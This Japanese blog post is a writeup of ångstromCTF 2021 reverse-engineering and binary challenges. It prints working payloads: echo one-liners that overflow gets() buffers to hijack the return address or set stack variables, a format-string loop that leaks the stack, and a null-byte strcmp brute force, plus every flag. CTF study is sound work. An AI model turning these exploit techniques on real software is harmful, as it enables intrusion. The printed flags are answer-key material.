Altair626's Blog

ångstromCTF 2021 writeup[Rev,Binary]

Altair626 -

ångstromCTF 2021 writeup[Rev,Binary]

問題ファイルや私が書いたコードは(https://github.com/Vegctrp/CTFs/tree/master/angstrom2021)にあります。

FREE FLAGS!!1!!(rev, 50pts, 740solves)

バイナリをgdbかghidraかidaかなんかに突っ込むと、31337 → 419 723 (積が302937) → bananaの順に入力すればいいことがわかります。

actf{what_do_you_mean_bananas_arent_animals}

Revex(rev, 75pts, 178solves)

flagのみ受理される正規表現が渡されるので、気合で読みます。気合で分解して解読すると以下のようになり、flagが決まります。

  • (?=.*re)
    • "re"という部分がある
  • (?=.{21}[^_]{4}}$)
    • 22文字目から4文字連続で"_"以外が並び、26文字目が"}"で終了
  • (?=.{14}b[^_]{2})
    • 15文字目がb, 16.17文字目が"_"以外
  • (?=.{8}[C-L])
  • (?=.{8}[B-F])
  • (?=.{8}[^B-DF])
    • 9文字目は{BCDEF}かつ{CDEHIJKL}で、{BCDF}でない→E
  • (?=.{7}G(?..).{7}t\k)
    • 8文字目はG、18文字目はt 9,10文字目と19,20文字目が一致
  • (?=.*u[^z].$)
    • uは末尾から3番目　zは末尾から2番目ではない
  • (?=.{11}(?[13])s.{2}(?!\k)[13]s)
    • 12文字目は"1"か"3"、13文字目はs 16文字目は12文字目とは違う文字で"1"か"3" 17文字目はs
  • (?=.*.{2})
    • "??"という並びがある
  • (?=actf{)
    • 先頭は"actf{"
  • (?=.{21}[p-t])
    • 22文字目は{pqrst}
  • (?=.*1.*3)
    • "1", "3"がこの順に入っている
  • (?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.q)(?=._))
    • 21文字目以降に{uyzq_}が一つ以上ずつ入っている
  • (?=.*Ex)
    • Exが入っている

actf{reGEx_1s_b3stEx_qzuy}

Secure Login(Binary, 50pts, 318solves)

dev/urandomから取ってきたパスワードと入力をstrcmpで比較しています。

strcmpはヌル文字を文字列の最後尾と認識するので、入力をヌル文字のみにして、dev/urandomから取っているパスワードの先頭がヌル文字\x00になる1/256を引くまで回し続けるといつか当たります。

actf{if_youre_reading_this_ive_been_hacked}

tranquil(Binary, 70pts, 488solves)

入力をgets(&password);を使ってchar password[64];に格納しているので、入力をchar password[64];から溢れさせたい気持ちになります。RIPレジスタをwin()関数のアドレスである0x401196に書き換えるようにするとwin()関数を呼んでくれます。
echo -e 'password123\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11\x40\x00' | ./tranquil

actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

Sanity Checks(Binary, 80pts, 374solves)

gets(&password);を使ってchar password[64];を溢れさせたい気持ちになります。
ローカル変数は

char password[64];
int ways_to_leave_your_lover = 0;               # 0x32にしたい
int what_i_cant_drive = 0;                      # 0x37にしたい
int when_im_walking_out_on_center_circle = 0;   # 0xf5にしたい
int which_highway_to_take_my_telephones_to = 0; # 0x3dにしたい
int when_i_learned_the_truth = 0;               # 0x11にしたい

となっているので、対応する部分を然るべき値に書き換えてやると通ります。

echo -e 'password123\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | ./checks
actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}

stickystacks(Binary, 90pts, 309solves)

fgets(name, 6, stdin);で入力を6文字受け付けた後、printf(name);をしているので、書式文字列攻撃の気持ちになります。入力に%1$pといれるとスタックの中身を読めるという定番のアレです。雑に

for ((i=1;i<=100;i++)); do
    echo $i
    echo %$i\$p | ./stickystacks
done

とすると

33
Name:
Welcome, 0x6c65777b66746361
34
Name:
Welcome, 0x61625f6d27695f6c
35
Name:
Welcome, 0x6c625f6e695f6b63
36
Name:
Welcome, 0x5f7365795f6b6361
37
Name:
Welcome, 0x6b6361625f6d2769
38
Name:
Welcome, 0x5f6568745f6e695f
39
Name:
Welcome, 0x65625f6b63617473
40
Name:
Welcome, 0x3439323135623963
41
Name:
Welcome, 0x3438363737646165
42
Name:
Welcome, 0xa7d333935663161

という部分があったので、これをくっつけてデコードすると勝ちです。

actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}